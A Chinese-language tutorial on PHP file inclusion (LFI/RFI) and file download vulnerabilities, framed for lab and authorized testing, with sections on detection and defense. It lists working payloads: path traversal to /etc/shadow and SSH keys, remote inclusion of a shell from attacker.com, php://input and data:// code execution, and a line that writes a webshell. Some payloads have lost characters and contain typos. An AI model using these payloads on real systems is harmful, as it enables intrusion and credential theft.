文件包含文件下载读取漏洞全解
免责声明本文涉及的所有技术、操作与演示均仅用于靶场环境学习与授权渗透测试。未经授权对目标系统进行漏洞利用、入侵、数据窃取等行为均违反《中华人民共和国网络安全法》及相关法律法规后果自负。请坚守网络安全底线合法合规使用安全技术。一、漏洞前置知识什么是文件包含文件包含是开发代码复用的常用手段PHP中通过include/include_once/require/require_once实现。漏洞本质开发者未对用户可控的文件名参数做严格过滤导致攻击者可指定恶意文件/路径被服务器当作代码执行或读取敏感文件。核心危害代码执行包含上传的木马、远程恶意脚本直接拿服务器权限。信息泄露读取配置文件、源码、密码、日志等敏感数据。组合利用常与文件上传、目录遍历联动形成高危攻击链。二、文件包含漏洞分类1. 本地文件包含LFI定义仅能包含服务器本地已存在的文件。利用条件需配合文件上传或直接读取敏感配置。无限制本地包含服务端代码?php $filename $_GET[filename]; include($filename); ?攻击Payloadhttp://127.0.0.1/include.php?filenameshell.php http://127.0.0.1/include.php?filename../../etc/passwd有限制本地包含服务端代码?php $filename$_GET[filename]: $include($filename . .html); ?绕过方法·%00截断PHP5.3.4有效 filenameshell.php%00 长度截断Windows文件名最长255字符Linux文件名最长4096字符超长自动忽略后缀。 filenameshell.php…………………………………………………………………………………………………………………………………………2. 远程文件包含RFI定义可直接包含互联网上任意URL指向的文件。开启条件php.ini中的allow_url_fopenon和allow_url_incledeon。危害无需上传直接远程拿shell。无限制远程包含http://127.0.0.1/include.php?filenamehttp://attacker.com/shell.txt有限制远程包含http://127.0.0.1/include.php?filenamehttp://attacker.com/shell.txt%23 http://127.0.0.1/include.php?filenamehttp://attacker.con/shell.txt?#/?会让服务器忽略后续拼接的.html。三、文件包含神器PHP伪协议实战伪协议是文件包含绕过与利用的核心技巧无需上传也能执行代码、读源码。1. php://filter——读取文件源码作用以编码形式读取文件不直接执行。常用payload ?filenamephp://filter/readconvert.base64-encode/resourceindex.php 示例读取靶场配置文件 ?filenamephp://filter/readconvert.base64-encode/resource../inc/config.inc.php 返回base64串解码即可拿到数据库账号密码。2. php://input——POST数据直接执行代码作用读取POST原始数据当作PHP代码执行。条件allow_url_includeon攻击步骤1.访问 ?filenamephp://input 2.POST提交 ?php phpinfo(); ? ?php system(whoami); ? ?php fputs(fopen(shell.php,w),?php evol($_POST[cmd]);?); ?3. file://——访问本地绝对路径作用读取系统敏感文件。示例 ?filenamefile://c:/windows/System32/drivers/etc/hosts ?filenamefile:///etc/passwd4. data://——直接内嵌代码执行明文写法 ?filenamedata://text/plan,?php phpinfo(); ? base64写法绕过过滤 ?filenamedata://text/plan;base64,PD9waHAgcGhwaW5mbygpOyA/Pg四、文件下载/读取漏洞漏洞原理下载功能直接用用户可控参数拼接文件路径未作目录限制可通过目录穿越读取任意文件。典型场景Pikachu靶场正常下载 /execdownload.php?filenamekb.png 恶意读取配置 /execdownload.php?filename../../../inc/config.inc.php 可直接下载到数据库配置、源码、密码等。常见利用路径Windowsc:\windows\win.ini、hosts、php.iniLinux/etc/passwd、/etc/shadow、/root/.ssh/id_rsa、/var/www/html/config.php五、漏洞检测思路黑盒检测1.找参数?file、?filename、?page、?load、?download2.测试payload读取系统文件?filename../../etc/passwd伪协议php://filter、php://input远程包含http://attacker.com/test.txt3.看结果是否出现文件内容、代码执行、报错信息。白盒检测直接审计代码是否直接使用$_GET/$_POST拼接路径是否有realpath()、basename()、str_replace过滤是否限制在指定目录内六、防御方案1.固定文件/白名单不允许用户传入完整路径只允许指定文件名。2.过滤../、./、\、/、php://、data://等特殊字符3.关闭危险配置allow_url_includeoff allow_url_fopenoff4.open_basedir限制目录访问open_basedir/var/www/html:/tmp5.下载功能做权限校验文件名映射真是文件名存在数据库中前端只传ID。七、总结文件包含与文件下载读取时Web安全中最经典、最易利用、危害最大的漏洞类型。LFI配合上传拿shell配合伪协议读源码。RFI无需上传直接远程执行前置是配置开启。伪协议filter读源码、input执行POST代码、file读本地、data直执行文件下载本质是目录穿越可泄露配置与敏感文件。核心防御白名单、路径绕过、权限校验、关闭危险函数。